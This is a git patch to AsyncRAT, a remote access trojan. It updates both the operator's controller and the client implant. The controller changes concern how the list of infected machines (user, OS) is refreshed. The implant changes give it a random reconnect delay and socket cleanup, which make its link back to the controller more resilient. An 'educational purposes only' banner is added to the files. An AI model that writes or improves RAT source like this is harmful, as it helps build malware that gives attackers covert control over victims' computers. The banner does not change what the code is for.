From 2423f34a17c7346448a8cd500ec86ffd6e7f4e5d Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 24 Jan 2019 10:57:36 -0800 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs | 7 +++++++ .../Handle Packet/HandlePacket.cs | 12 +++++------- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 8 ++++---- AsyncRAT-C#/Client/Program.cs | 19 ++++++++++++++++--- 4 files changed, 32 insertions(+), 14 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index 40eb869..de8e244 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -6,6 +6,13 @@ using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; +// │ Author : NYAN CAT +// │ Name : AsyncRAT // Simple Socket + +// Contact Me : https://github.com/NYAN-x-CAT + +// This program Is distributed for educational purposes only. + namespace AsyncRAT_Sharp { public partial class Form1 : Form diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 74c0792..6ea751f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -8,7 +8,6 @@ namespace AsyncRAT_Sharp.Handle_Packet { class HandlePacket { - public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data); public static void Read(Clients client, byte[] data) { try @@ -18,11 +17,9 @@ namespace AsyncRAT_Sharp.Handle_Packet switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": - if (Program.form1.listView1.InvokeRequired) - { - Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data }); - } - else + if (Program.form1.listView1.InvokeRequired) + { + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => { client.LV = new ListViewItem(); client.LV.Tag = client; @@ -30,7 +27,8 @@ namespace AsyncRAT_Sharp.Handle_Packet client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Program.form1.listView1.Items.Insert(0, client.LV); - } + })); + } break; case "Ping": diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index f1247fc..4395916 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -95,16 +95,16 @@ namespace AsyncRAT_Sharp.Sockets } } - delegate void _isDisconnected(); public void Disconnected() { if (LV != null) { if (Program.form1.listView1.InvokeRequired) - Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected)); - else { - LV.Remove(); + Program.form1.listView1.BeginInvoke((MethodInvoker)(() => + { + LV.Remove(); + })); } } Settings.Online.Remove(this); diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index a7a2ca1..c48caa1 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -2,12 +2,20 @@ using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System; -using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Text; using System.Threading; + +// │ Author : NYAN CAT +// │ Name : AsyncRAT // Simple Socket + +// Contact Me : https://github.com/NYAN-x-CAT + +// This program Is distributed for educational purposes only. + + namespace Client { class Program @@ -24,7 +32,7 @@ namespace Client InitializeClient(); while (true) { - Thread.Sleep(1500); + Thread.Sleep(1000); } } @@ -51,7 +59,12 @@ namespace Client catch { Console.WriteLine("Disconnected!"); - Thread.Sleep(2500); + Thread.Sleep(new Random().Next(5000)); + try + { + client.Dispose(); + } + catch { } InitializeClient(); } }